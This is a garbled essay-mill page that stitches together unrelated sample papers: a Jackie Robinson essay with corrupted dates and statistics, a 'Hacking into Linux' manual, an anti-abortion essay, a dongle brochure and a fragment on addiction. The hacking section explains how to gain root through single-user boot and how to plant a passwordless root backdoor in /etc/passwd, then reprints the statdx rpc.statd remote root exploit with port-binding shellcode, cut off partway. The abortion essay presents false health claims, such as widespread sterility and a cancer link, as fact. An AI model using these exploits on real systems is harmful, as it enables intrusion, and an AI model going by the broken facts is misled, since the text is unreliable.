Jackie Robinson

If you order your research paper from our custom writing service you will receive a perfectly written assignment on Jackie Robinson. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality Jackie Robinson paper right on time. Out staff of freelance writers includes over 120 experts proficient in Jackie Robinson, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your Jackie Robinson paper at affordable prices! JACKIE ROBINSON

"A life is not important except in the impact it has on other lives," this is a very true statement that Jackie Robinson said. He played a big part by changing many other blacks lives. He encouraged many blacks to follow in his footsteps, which was having the courage toeak the color line in major league baseball and having a great athletic ability which still and will be revered by the games followers.

His courage and persistence helped his get by the hard times to the better times. He also relied on his mothers strength, love, and attention. His keys to success were to not let all the racialism get to his head and make himself stop playing baseball, and he had the ability to stand up to injustice without compromising his personal integrity and beliefs. With those keys in mind, he never let verbal assaults get to him, from home and visitor games. He didnt stop playing because other teams were after him and spiked him, but life threats probably did scare him, but didnt let it get to his head. Once when he was to play in Cincinnati, he received a life threat that he shouldnt come otherwise they would kill him. The FBI investigated and nothing happened during the game. He continuously got hate mail and other threats like getting his baby kidnapped, but nothing actually happened. Many times fans yelled name at him, one time a game in Baltimore, Maryland many fans yelled racial slurs at him for nine straight innings. Many other incidents happened. At a game in Indiana he was pulled from a game because of a law prohibiting interracial athletes. During another game an opposing player threw a black cat onto the field and yelled at Robinson that the cat was his cousin. The worst behavior he ever heard from the crowd was when a torrent of mass hatred burst from the stands with every move he made and managed only one hit. During the time he was on the Royals, Jackie had suffered from nearly all white crowd in Louisville, but when the series went to Canada, that Canadians released a boo every time a Louisville player stepped up to bat. Jackie didnt approve this retaliation, but felt a great sense of gratitude. The Royals went on to winning the Championship because of the crowds support. That was probably the only time Jackie was loved from the crowd.

This is probably the main reason Jackie Robinson is so famous, he was the first black to play in major league baseball and to be accepted, which encouraged other blacks to follow him.anch Rickey should also be thanked, for letting Jackie be on the team and helping him get through the hard times.anch Rickey, the Dodgers president, told Jackie, "This is baseballs great experiment." Mr. Rickey made Jackie promise not to fight back or talk back, but instead shrug if off. After Mr. Rickey proposal Jackie Robinson responded, "If you want to take this gamble, I will promise you there with be no incident," On April 15, 147 he hit for a first time in major league baseball and did a very poor job, so people started questioning Jackies ability. After Jackie gained confidence, he started playing outstanding baseball. Many people, black and white, came to watch him play baseball, steal homes, and hit home runs. He got many people interested in baseball. The Dodgers won the National League pennent, and Jackie placed first in stolen bases, second in runs scored, and tied for first for home runs, 1. The newspapers, which doubted Jackie in the beginning, now said that "baseballs great experiment" had been a great success. He did such an outstanding job, so the paper named him Rookie of the Year.anch Rickey admired him because he kept all the tension in for two years. "Robinson had performed his pioneering role with courage and dignity." Now Rickey told Jackie that he was on his own and could speak his mind. After Jackie spoke about his social and political beliefs to a nationwide audience. "I cant speak for 15 million people any more than any other person can, but I know that Ive got too much invested for my wife and child and myself in the future in this country, and I and other Americans of many races and faiths have too much invested in our countries welfare, for any of us to throw away….. But that doesnt mean were going to stop fighting race discrimination in this country until weve got it licked. It means were going to fight it all the harder because our stake in the future is so big." Afterwards he became praised for his affirmation of American ideals and because of that he became a more popular player.Professional writers help on Jackie Robinson essays

In 14 Robinson showed his very best by finishing the season with a .4 hitting average, which was the highest in the league. He led the league in stolen bases, 7, and placed very high with many other records. He was nearly perfect defensively, like a vacuum cleaner sucking up ground balls at second base. His story became so famous that they made his life into a movie and make a Jackie Robinson watch. Now in major league baseball he has been accepted by most, but not all. This is around the time he received a life threat, which was the 150 season. During that year he finished with a .8 average for baseball, the best in National League. Whenever he was interviewed, he always told the truth and said very meaningful things, and he was and still is know as one of the most outspoken athletes of his generation. Many blacks followed after him, but still racism held many back. During the 15 season he continued to be a star batter with a . average and scored 10 runs. After he continued to play many more fantastic games, but his body was beginning to slow down. In January of 157 he retired from baseball. Jackie got into politics and in 16 he became eligible for induction into the Baseball Hall of Fame which is the highest honor a baseball player can receive, he received it because he make a significant contribution to the game. He made his last pubic appearance at the ceremony at the Dodger Stadium to commemorate the 5th anniversary of his first major league season, his body was deteriorating, but he still walked across the field for the last time to watch his number retire, 4, on October 4, 17. He left behind a legacy of great accomplishments, his amazing athletic ability and he was the pioneer for blacks to play major league baseball and he did it by having the courage to face the prejudice.

Please note that this sample paper on Jackie Robinson is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on Jackie Robinson, we are here to assist you. Your persuasive essay on Jackie Robinson will be written from scratch, so you do not have to worry about its originality. Order your authentic assignment and you will be amazed at how easy it is to complete a quality custom paper within the shortest time possible!

Hacking into Linux

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Hacking into Linux

___________________________________________________________

Essay service for your Hacking into Linux paper

Till now almost all Hacking Truths manuals have been Windows centric. I have always kept the newbie Windows user in mind, while writing manuals. However, with the growing popularity of Linux and the fact that Linux is considered to be the Hackers OS, I decided to start a nix series.

Getting Root on a Linux machine

As you read this manual, you will discover that our basic aim always remains the same, i.e. we want to get root. Now, root is nothing but sort of a sort user, who has maximum privileges, and can do whatever he wants to do on a system. Root is to nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could, remove accounts, delete files, disable daemons, and even format the entire system.

NEWBIE NOTE Getting root is considered to be really really elite especially in schools. If you are able to get root in your school network, then you practically get transformed into a semi-god, but why? Well, the reasons are pretty obvious. Arent they?

OK, I am really interested. How do I do it? Well, in this section, we are not going to run any C program nor are we going to do any kind of coding, but we will simply exploit a small vulnerability existing in a feature which comes with Linux. This will work almost times out of 10, however, if you plan to use this technique to get root on your ISP, then forget it pal. The technique explained below is quite common and the system administrator would probably be smart enough to cover up this security loophole.

Before we move on, there is one thing that you need to keep in mind. i.e. For this to work, you need to have physical access to the target system. Anyway, boot the target system and wait for the LInux LOader or LILO Prompt to come up.

At the LILO prompt type linux single (without Quotes) or linux 1 to get the root shell where you can practically do anything.

Once Linux single is running, you get the root shell where you can type can any command which is accepted by the default shell on your system. Now, here, type linuxconf. This willing up a blue screen, which is the Linux Configuration Utility. Then, click on Users Root Password. This will allow you to change the root password!!! Yes, you read right, change the root password. Scroll down further, and you could also add new accounts with root privileges.

The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.

Well, there is yet another way in which we can get root. In the first method, we typed linuxconf in the bash shell prompt, however, we could type the following to create a new account with root privileges and without any password

echo "ankit00" /etc/passwd

This command will basically edit the /etc/passwd file which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but we have booted into linux single which gives us the root shell. Hence, we can still edit it.

Anyway, to understand how exactly the above command works and how it is able to create a new account without a password, we need to learn the /etc/passwd file is structured.

The following is a line from a password file

ankitmy_passwordAnkit Fadia/home/ankit/bin/bash

The above can in turn beoken up into

Username ankit

Encrypted Password my_password

User number

Group Number

Actual Name Ankit Fadia (Optional)

Home Directory /home/ankit (Optional)

Type of Shell /bin/bash (Optional)

In our command, we have not included the optional fields and the password field of a typical password file line. Our command

echo "ankit00" /etc/passwd

can be rewritten as

Username ankit

Encrypted Password

User number 0

Group Number 0

Actual Name

Home Directory

Type of Shell

This basically creates a new account with root privileges, which can be used as a Backdoor into the system.

HACKING TRUTH If you have enabled, shadow passwords, then the command will change to

echo "ankit00" /etc/shadow

A typical line from the password file on a system with Shadow Passwords enabled is as follows

ankitAnkit Fadia/home/ankit/bin/bash

In a shadowed password file what happens is that the password field is replaced by a (The is called a token.) such that the encrypted password does not show up in the password file and the list of encrypted passwords is stored in a different file which is not readable by normal users.

I have tired the above method on a number of systems, and have found that it works only about 80% of the times. So, after some more fooling around, I came about with yet another method, which till now seems to be foolproof.

Now, as you are in the root shell, launch your favorite editor (eg vi) and open /etc/passwd in it. Now, delete the encrypted text between the first two colons in the line, which contains the entry for root. This, will not create a new account with root privileges, but will change the password of the root, to null. So, basically this will get you a root account without any password. Once, you have removed the encrypted password, at the prompt, type init to switch back to the normal start up or else for a graphical start up type init 5.

Now, say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? Well, simply use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.

OK, I get the point; Linux too is not 100% safe, so how can I make it safer? Well, you could password protect linux single. To do so, you have to launch your favorite editor like vi, and open /etc/LILO.conf. Now, add the following line, in a new line, after the first line

Restricted password_goes_here

(The above is Restricted followed by a space and following by the password that you choose.)

Now, save and close the editor. At the prompt then type LILO, to execute the /etc/LILO.conf file, so as to make the changes. Now, the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. So this basically acts as another barrier for anyone trying to use the techniques described in this manual, toeak into your Linux box. None, of the other functioning of the linux box will be affected.

HACKING TRUTH Well, Aragon (veljkop@ptt.yu ) suggested yet another method, which I would like to mention.

1.Go to directory /etc/rc.d

.In it there should be several files if your lucky there are a bunch of files with similar names rc.1,rc....etc. these files are shell scripts which are run each time when the named runnlevel is started. These files are very much similar to autoexec.bat but even more complex you can mess with them to cause interesting results BUT be CAREFULL!). rc.1 is therefore the file for runlevel one

.Backup it in a file named rc.x (or something else)

4.Copy some other runlevel (runlevel is good) but make sure that the runlevel is multi-user.

5.Make a boot and root(for Slackware) disc (do not skip this) so if anything goes wrong you still have a

runlevel 1

Getting root Remotely

The following has been taken from Bugtraq, this exploit is supposed to get you root. However, it has not been tested or verified by me. So give me the feedback.

___________________________________________

From ron1n - shellcode@HOTMAIL.COM

Subject Redhat Linux 6.x remote root exploit

To BUGTRAQ@SECURITYFOCUS.COM

X-UIDL ad856edbbc7d8db5d468ce6eb1f600

Hi,

Included below is an exploit for the recently exposed linux rpc.statd

format string vulnerability[0]. I have tailored it towards current Redhat

Linux 6.x installations. It can easily be incorporated into attacks against

the other vulnerable Linux distributions.

I am not a security expert, but Ill offer my two cents worth this format

string issue, while drawing upon elements of straightforward buffer overflow

exploitation, is more insidious and will probably take some time to instill

itself in the minds of even security-conscious programmers. Programs like

ITS4[1], pscan[], and grep (heh!) do offer valuable assistance when trying

to isolate weak portions of code in a phase one search. However, one thing

Ive

learnt during my short time researching these things is that the complex

interaction between code and data introduces the need for a more extensive

line by line audit[].

This new problem will (if it hasnt already) spark a new wave of code

reviews

of critical applications, especially those networking daemons and privileged

programs which were given the all clear in the first sweep (although

history

shows us that a lot of programs somehow slipped through the cracks.) Someone

else sent an excellent post about the possibility of remote debugging with

these format string vulnerabilities. Once again, Im not speaking out of any

authority, but I can say that such an aid to otherwise blind exploitation

is indeed a godsend when a host is being probed by a skilled intruder.

You must understand that this particular vulnerability is much harder to

exploit than the buffer overflow vulnerabilities that youre probably

accustomed to. The problem which will bite you is that if the calculations

are not precise, statd crashes with a SIGSEGV. As youve realized by now,

ute forcing wont cut it. Also, a successful exploitation will render

subsequent attacks fruitless.

I have seen statd running on a great number of linux systems and if you can

simulate an attack against a remote system on one of your own boxes, it is

trivial to exploit that remote system. Despite the shortcoming with

the single attempt restriction, it was possible to reduce the exploitation

variables down to a SINGLE address for most attacks. The default values

for Redhat Linux 6.x work fine for me, so Im probably fussing over nothing.

Anyway, enjoy the exploit.

ron1n

shellcode@hotmail.com

Sydney, Australia

McDonalds drive-thru guy

[0] http//www.securityfocus.com/

[1] http//www.rstcorp.com/its4/

[] http//www.striker.ottawa.on.ca/~aland/pscan/

[] http//www.openbsd.org/

!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$

/

statdx

Redhat Linux 6.0/6.1/6. rpc.statd remote root exploit (IA)

by ron1n shellcode@hotmail.com

July 4, 000

Sydney, Australia

Oh you probly wont remember me

Its probly ancient history

Im one of the chosen few

Who went ahead and fell for you

$ gcc -o statdx statdx.c ; ./statdx -h

background info

---------------

rpc.statd is an ONC RPC server that implements the Network Status

Monitor RPC protocol to provide reboot notification. It is used by

the NFS file locking service (rpc.lockd) when it performs lock

recovery.

Due to a format string vulnerability in a call to syslog() within

its logging module, rpc.statd can be exploited remotely by script

kids bent oneaking into your Redhat Linux box and defacing your

website with crackpot political musings.

This is not a traditional buffer overflow vulnerability. The data

are kept within the bounds of the buffer by means of a call to

vsnprintf(). The saved return address can be overwritten indirectly

without a contiguous payload. syslog() is given, for the most part,

a user-supplied format string with no process-supplied arguments.

Our format string will, if carefully constructed, cause the process

to cull non-arbitrary addresses from the top of the stack for

sequential writes using controlled values. Exploitation requires

an executable stack on the target host -- almost invariably the

case. This problem was corrected in the nfs-utils-0.1..1 rpm.

exploit info

------------

You have one shot at this in most situations, so get it right!

If you know the port number rpc.statd is serving requests on, you

can supply the port number on the commandline to bypass the initial

portmapper query. This is very useful for hosts which are filtering

inbound connections to the portmapper. The default attack protocol

is UDP. There is a commandline option to use TCP. Apparently, the

dispatcher uses both protocols by default.

If youre only interested in exploiting a host, then you can safely

skip the following information. Youll only need a buffer address

to get started. This buffer address will either be one of my canned

ones or your own one. It must be precise, and this is where youre

likely to experience difficulties with your attacks.

[va_list][str][4][r][4][r+1][4][r+][4][r+]-----

| |

%esp buffer[104]

[%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]---

| r | r+1 | r+ | r+ |

buffer - This is the address youll need (-a and -l options)

str - Process-supplied string; 4 bytes long

4 - Duplicate dwords to satisfy the %!d specifiers and

the double %n when two successive values are equal

r - Stack position of saved eip

%x.. - Wipes the va_list dword and str; by default (-w option)

%!d - Used for padding to form an aggregate overwrite value;

the exclamation mark denotes a field width. This may

or may not be present, depending on the value. An

algorithm is used to allow tricky values.

%n - Writes overwrite value to the corresponding address

sc - Nops + portbinding shellcode (port 168)

Only modify the default wipe value and the default offset value if you

know what youre doing.

An easy way to get the buffer address for simulation systems that you

have privileged access to

[term 1]# ltrace -p `pidof rpc.statd` -o foo

[term ]$ ./statdx -r 0x41414141 localhost

[term 1]# grep vsnprintf foo | head -1 | sed s/.(// |

awk -F, {print $1}

(Of course, ensure that rpc.statd is started at boot time and not from

an interactive shell, otherwise it will inherit a larger environment

and blow the accuracy of your findings.)

Ok, longwinded enough. Lets dance.

greets

------

ADM, attrition, rogues, security.is, teso

/

#include stdio.h

#include stdlib.h

#include string.h

#include errno.h

#include unistd.h

#include netdb.h

#include rpc/rpc.h

#include sys/types.h

#include sys/time.h

#include sys/socket.h

#include netinet/in.h

#define SM_PROG 10004

#define SM_VERS 1

#define SM_STAT 1

#define SM_MAXSTRLEN 104

#define max(a,b) ((a)(b)?(a)(b))

#define NOP 0x0

/

Non-ripped linux IA portbinding shellcode.

port 168 ; length 1 bytes

/

char shellcode[] =

x1xc0 / xorl %eax,%eax /

/ jmp ricochet ------------------------------------------------------- /

xebx7c / jmp 0x7c /

/ kungfu ------------------------------------------------------------ /

x5 / popl %ecx /

x8x41x10 / movl %eax,0x10(%ecx) /

/ ------------------------------------ socket(,1,0); ---------------- /

x8x41x08 / movl %eax,0x8(%ecx) /

xfexc0 / incb %al /

x8x41x04 / movl %eax,0x4(%ecx) /

x8xc / movl %eax,%ebx /

xfexc0 / incb %al /

x8x01 / movl %eax,(%ecx) /

xb0x66 / movb $0x66,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ bind(sd,&sockaddr,16); -------- /

xbx0 / movb $0x,%bl /

x8x5x0c / movl %ebx,0xc(%ecx) /

xc6x41x0ex / movb $0x,0xe(%ecx) /

xc6x41x08x10 / movb $0x10,0x8(%ecx) /

x8x4x04 / movl %ecx,0x4(%ecx) /

x80x41x04x0c / addb $0xc,0x4(%ecx) /

x88x01 / movb %al,(%ecx) /

xb0x66 / movb $0x66,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ listen(sd,blah); -------------- /

xbx04 / movb $0x4,%bl /

xb0x66 / movb $0x66,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ accept(sd,0,16); -------------- /

xbx05 / movb $0x5,%bl /

x0xc0 / xorb %al,%al /

x88x41x04 / movb %al,0x4(%ecx) /

xb0x66 / movb $0x66,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ dup(cd,0); ------------------- /

x8xce / movl %ecx,%esi /

x88xc / movb %al,%bl /

x1xc / xorl %ecx,%ecx /

xb0xf / movb $0xf,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ dup(cd,1); ------------------- /

xfexc1 / incb %cl /

xb0xf / movb $0xf,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ dup(cd,); ------------------- /

xfexc1 / incb %cl /

xb0xf / movb $0xf,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ execve(/bin/sh,argv,0); ----- /

xc7x06xfx6x6x6e / movl $0x6e66f,(%esi) /

xc7x46x04xfx7x68x41 / movl $0x41687f,0x4(%esi) /

x0xc0 / xorb %al,%al /

x88x46x07 / movb %al,0x7(%esi) /

x8x76x0c / movl %esi,0xc(%esi) /

x8dx56x10 / leal 0x10(%esi),%edx /

x8dx4ex0c / leal 0xc(%esi),%ecx /

x8xf / movl %esi,%ebx /

xb0x0b / movb $0xb,%al /

xcdx80 / int $0x80 /

/ ------------------------------------ exit(blah); ------------------- /

xb0x01 / movb $0x1,%al /

xcdx80 / int $0x80 /

/ ricochet call kungfu ---------------------------------------------- /

xe8x7fxffxffxff; / call -0x81 /

enum res

{

stat_succ,

stat_fail

};

struct sm_name

{

char mon_name;

};

struct sm_stat_res

{

enum res res_stat;

int state;

};

struct type

{

int type;

char desc;

char code;

u_long bufpos;

int buflen;

int offset;

int wipe;

};

struct type types[] =

{

{0, Redhat 6. (nfs-utils-0.1.6-), shellcode, 0xbffff14, 104, 600,

},

{1, Redhat 6.1 (knfsd-1.4.7-7), shellcode, 0xbffff14, 104, 600, },

{, Redhat 6.0 (knfsd-1..-4), shellcode, 0xbffff14, 104, 600, },

{0, NULL, NULL, 0, 0, 0, 0}

};

bool_t

xdr_sm_name(XDR xdrs, struct sm_name objp)

{

if (!xdr_string(xdrs, &objp-mon_name, SM_MAXSTRLEN))

return (FALSE);

return (TRUE);

}

bool_t

xdr_res(XDR xdrs, enum res objp)

{

if (!xdr_enum(xdrs, (enum_t )objp))

return (FALSE);

return (TRUE);

}

bool_t

xdr_sm_stat_res(XDR xdrs, struct sm_stat_res objp)

{

if (!xdr_res(xdrs, &objp-res_stat))

return (FALSE);

if (!xdr_int(xdrs, &objp-state))

return (FALSE);

return (TRUE);

}

void

usage(char app)

{

int i;

fprintf(stderr, statdx by ron1n shellcode@hotmail.com );

fprintf(stderr, Usage %s [-t] [-p port] [-a addr] [-l len] , app);

fprintf(stderr, [-o offset] [-w num] [-s secs] [-d type]

target );

fprintf(stderr, -t attack a tcp dispatcher [udp] );

fprintf(stderr, -p rpc.statd serves requests on port [query] );

fprintf(stderr, -a the stack address of the buffer is addr );

fprintf(stderr, -l the length of the buffer is len [104] );

fprintf(stderr, -o the offset to return to is offset [600] );

fprintf(stderr, -w the number of dwords to wipe is num [] );

fprintf(stderr, -s set timeout in seconds to secs [5] );

fprintf(stderr, -d use a hardcoded type );

fprintf(stderr, Available types );

for(i = 0; types[i].desc; i++)

fprintf(stderr, %d %s , types[i].type, types[i].desc);

exit(EXIT_FAILURE);

}

void

runshell(int sockd)

{

char buff[104];

int fmax, ret;

fd_set fds;

fmax = max(fileno(stdin), sockd) + 1;

send(sockd, cd /; ls -alF; id; , 1, 0);

for(;;)

{

FD_ZERO(&fds);

FD_SET(fileno(stdin), &fds);

FD_SET(sockd, &fds);

if(select(fmax, &fds, NULL, NULL, NULL) 0)

{

perror(select());

exit(EXIT_FAILURE);

}

if(FD_ISSET(sockd, &fds))

{

bzero(buff, sizeof buff);

if((ret = recv(sockd, buff, sizeof buff, 0)) 0)

{

perror(recv());

exit(EXIT_FAILURE);

}

if(!ret)

{

fprintf(stderr, Connection closed );

exit(EXIT_FAILURE);

}

write(fileno(stdout), buff, ret);

}

if(FD_ISSET(fileno(stdin), &fds))

{

bzero(buff, sizeof buff);

ret = read(fileno(stdin), buff, sizeof buff);

errno = 0;

if(send(sockd, buff, ret, 0) != ret)

{

if(errno) perror(send());

else fprintf(stderr, Transmission loss );

exit(EXIT_FAILURE);

}

}

}

}

void

connection(struct sockaddr_in host)

{

int sockd;

host.sin_port = htons(168);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) 0)

{

perror(socket());

exit(EXIT_FAILURE);

}

if(!connect(sockd, (struct sockaddr ) &host, sizeof host))

{

printf(OMG! You now have rpc.statd technique!@#$! );

runshell(sockd);

}

close(sockd);

}

char

wizardry(char sc, u_long bufpos, int buflen, int offset, int wipe)

{

int i, j, cnt, pad;

char pbyte, buff, ptr;

u_long retpos;

u_long dstpos;

while(bufpos % 4) bufpos--;

/ buflen + ebp /

retpos = bufpos + buflen + 4;

/

0x00 ==

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Women should not abort

If you order your essay from our custom writing service you will receive a perfectly written assignment on Women should not abort. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality Women should not abort paper right on time. Out staff of freelance writers includes over 120 experts proficient in Women should not abort, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your Women should not abort paper at affordable prices!

Although sexual education has been improved a lot, there are still a lot of women who think the possibility getting pregnant is very small. They think it is not necessary to use contraceptive products when they have sex; finally, they get pregnant accidentally. Since this result far exceeds their estimation, most of them do not want the babies, so abortion becomes their only choice. However, in my opinion, women should not abort because of the value of human life, emotional effect and physical effect.

Most people oppose abortion because of the value of human life. Many women think that a fetus is not a human before it is born; it is only a blob of blood. But this is not true. According to the pregnancy schedule provided by Mother¡¦s Choice, ¡§the organization of the emyo¡¦sain and spinal cord will develop in the third week, and in day twenty one, the emyo will have the heart beat. In the second month, it has all the thought that a human should have.This source shows that the emyo is a life, a human being that is slowly growing up inside the womb. In addition, Over 50% of American women think abortion is kind of murder. Many religions think abortion is unethical and forbid this action.

Lots of women suffer from emotional effects after abortion. Catherine Cozzareli, an associate professor of psychology of Oxford University said ¡§60% women feel regret and are unhappy after they aborted.They may feel anxiety and ambivalence after abortion, and always feel sorry for what they have done. An American girl, Christina Stratmanu said ¡§I really feel sorry about my abortionshe had an abortion when she was eighteen, and she was filled with guilt after the operation. ¡§I know it is irresponsible. Two years later, today, I still feel the pain of killing my baby. I should think of any other choice than abort.Besides emotional effects, there are also lots of physical effects from abortion. The research done by The National Center for Chronic Disease Prevention shows that three are about 1,600,000 abortions all over the world each year; one woman in ten will developeast cancer, and 5% of them will die. 65% women will be sterile after abortion because the organization of the womb was changed. After the abortion, the womb will get hurt, and the weak uterus is not being able to hold a baby, finally it could lead to sterility. In addition, if the operation is not completed perfectly, part of the baby¡¦s organization may remain in the uterus and it may lead to sterile. According to the information provided by Kaohsiung Medical University Chung-Ho Memorial Hospital, there are four Taiwanese sterile after abortion because the head-bone of the baby was left in the womb. According to the source, we can know that abortion is very dangerous; it is very harmful for our baby. Therefore, do not try to get an abortion.

Women should not abort because itings a lot of after effects. To avoid pregnancy, people should have protected sex; if they accidentally get pregnant, they should be responsible, l consider at length when making this decision. Abortion may lead to cancer, sterility, and even death.

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ROCKEY4ochure

If you order your research paper from our custom writing service you will receive a perfectly written assignment on ROCKEY4ochure. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality ROCKEY4ochure paper right on time. Out staff of freelance writers includes over 120 experts proficient in ROCKEY4ochure, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your ROCKEY4ochure paper at affordable prices!

ROCKEY4

ROCKEY4 are hardware based systems designed to enforce software license agreements and prevent unauthorized duplication. These USB and LPT attached products support complex user defined algorithms for extremely powerful software protection. The ROCKEY4 Envelope program provides a means for direct encryption of Windows portable executable files and may be implemented in minutes by even non-programmers. ROCKEY4 is engineered to be versatile yet secure, enabling the developer to implement varied software licensing policies.

Ö Prevent loss of revenues due to software piracy

Order essays on ROCKEY4ochure and other topics Ö Enforce licensing agreements

Ö Ease software distribution headaches

Ö Remotely enable access to software modules

Ö Enforce network licensing policies

Ö Support for remote activation of demo programs

Ö Always price competitive¡­

Features

Ö Support for multiple user defined algorithms

Ö Low level communications encoded for optimal protection

Ö Multi-level security access for developers and users

Ö Support for multiple platforms DOS, Windows 5/8/ME/NT4/XP, Linux, MAC (OS 8.6 and above)

Ö Abundant programming language interfaces TurboC, Borland, C++, MSC, WatcomC, QBasic, Fortran, VC, VB, BCB, Delphi, PB, AutoCAD, Java, ActiveX

Ö Support for varied network licensing policies

Ö Secure storage for application serial numbers and other information required for license enforcement

Ö Full support for IEEE 184 (ECP/EPP/SPP)

Ö Engineered for high compatibility with LPT attached devices

Ö Small and non-intrusive form factor, tamper proof outer shell

Ö Built-in algorithms for seed code generation

Ö Full support for daisy chaining

Ö Globally unique Hardware Identification number burned into each unit

Ö Customer specific password set burned into each unit

Security Features

Ö Communications between dongle, driver and application are encoded to prevent ¡°emulator¡± and ¡°playback¡± type hack attacks.

Ö ¡°Tracing¡± attacks normally add to the time required for execution. ROCKEY4 has a built-in ¡°watchdog¡± feature that will cause ROCKEY4 to not respond if execution takes too long.

Ö Access to ROCKEY4 memory is protected with the Basic and Advanced level passwords. The -bit Basic level password set is normally included in the Envelope encrypted executable file and is used to read values from one or more protected memory zones. The Advanced level passwords (also -bit) should not be distributed to the end user and are for the developer to pre-configure the dongle before it is shipped with the application.

Ö ROCKEY4 contains a proprietary algorithm that will generate four 16-bit return values from input of a -bit seed code and the Basic/Advanced passwords. The application can compare the values returned from ROCKEY4 to the expected return values. If they are the same, the dongle must be attached.

Ö User defined algorithms may be as long as 80 instructions (ROCKEY4-Plus and NetROCKEY4). The instructions may use operations + (addition), - (subtraction), (cyclic shift left), (multiplication), ^ (XOR), & (and), | (or, ~ (neg.), ? (compare). An algorithm may implement as many as eight variables A,B,C,D,E,F,G,H,I. ¡°A¡± through ¡°E¡± are defined by the developer, ¡°F¡± through ¡°I¡± are initiated by the system. ROCKEY4 has three build in calculation functions.

Ö Globally unique -bit Hardware Identification (HID) number

Ö ROCKEY4 can generate a 16-bit random number that may be used as input for seed code security measures.

Ö As many as 16 ROCKEY4 LPT dongles can be daisy chained off the LPT port. ROCKEY4 can be combined with any number of dongles from other manufacturers.

Envelope Program Protection

The ROCKEY4 Envelope program may be used for direct encryption of Win Portable Executable (PE) files (such as .exe, .dll or .arx). Envelope encryption is a good solution if you do not have the source code or the time or capability needed to use the API functions. The strongest software protection systems will use both the Envelope and API implementations.

The ROCKEY4 Envelope program works by adding a shell to the original PE file. The ¡°shell¡± code is binary instructions that check for the presence of the ROCKEY4 dongle before they allow other instructions in the application to execute. The ROCKEY4 Envelope program can be used for single or multi-file encryption.

Network Support

NetROCKEY4 is a network aware software protection system designed to limit the number of simultaneous users who can access a software application. It combines all the functionality of the standard ROCKEY4 system, with the ability to work seamlessly in LAN/WAN environments that support the UDP/TCP, IPX or NetBIOS protocols. NetROCKEY4 was engineered to support standalone or redundant server environments on both the Windows and Linux platforms. The system includes powerful and intuitive network monitoring and testing tools that ease the implementation effort. The NetROCKEY4 Envelope program provides direct encryption of Windows portable executable files that operate in a network environment.

Ö The developer can set a maximum number of users for each of 16 separate user groups.

Ö Limits can be set on either the number of users or the number of computers that access an application.

ROCKEY4 has a total of 18-bytes of total usable memory. NetROCKEY4 and ROCKEY4-Plus each have a total of 51-bytes of usable memory space. The table below provides memory zone information for each ROCKEY4 model

Hardware Memory Usage

Memory Zone Memory Zone Description ROCKEY4 ROCKEY4-Plus NetROCKEY4

Hardware ID Globally unique identifier -bit -bit -bit

User ID Zone User defined identifier -bit -bit -bit

Module Zone Non-readable memory spaces (16) Used with arithmetic calculations 16-bit(each) 16-bit(each) 16-bit (each)

Zero Attribute Indicates if a module is ¡°0¡± or not ¡°0¡±. Each module has a zero attribute. 1-bit(each) 1-bit(each) 1-bit(each)

Decrement Attribute Indicates if a module can be decreased. Each module has a decrement attribute. 1-bit(each) 1-bit(each) 1-bit(each)

User Data Zone User defined memory space 4-byte 10-byte 10-byte

User Algorithm Zone Instruction storage for user defined algorithms -instructions 80-instructions 80-instructions

Access controlled by Basic and Advanced level passwords.

Hardware Specifications

ROCKEY4-USB ROCKEY4-LPT

Dimensions 51 x 16 x 7 mm x 55 x 16 mm

Current Consumption (active/idle) ¡Ü50 ma ¡Ü10 ma

Min. Operating Voltage .V .V

CPU Type 8 pin, 8-bit 8 pin, 8-bit

Max. No. of dongles in series 16 16

Max. No. of Write Access 100,000 100,000

Connector Support USB Type A 5-pin , Type D

Storage Temp. -40¡ã C ~ 85¡ã C -40¡ã C ~ 85¡ã C

Operating Temp. 0¡ã C ~ 70¡ã C 0¡ã C ~ 70¡ã C

Data Retention 100 years 100 years

Please note that this sample paper on ROCKEY4ochure is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on ROCKEY4ochure, we are here to assist you. Your persuasive essay on ROCKEY4ochure will be written from scratch, so you do not have to worry about its originality. Order your authentic assignment and you will be amazed at how easy it is to complete a quality custom paper within the shortest time possible!

addiction

If you order your custom term paper from our custom writing service you will receive a perfectly written assignment on addiction. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality addiction paper right on time. Out staff of freelance writers includes over 120 experts proficient in addiction, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your addiction paper at affordable prices! Drug Addiction in America

Drugs are one of the worst problems America has to face today. They are everywhere and are easily accessible for just about anyone from young children to adults they can be attained anywhere and for very little money just about every drug can be had. Drugs cause addictions and many other problems in peoples lives. The war on drugs is unbeatable in my opinion from a governments point of view.

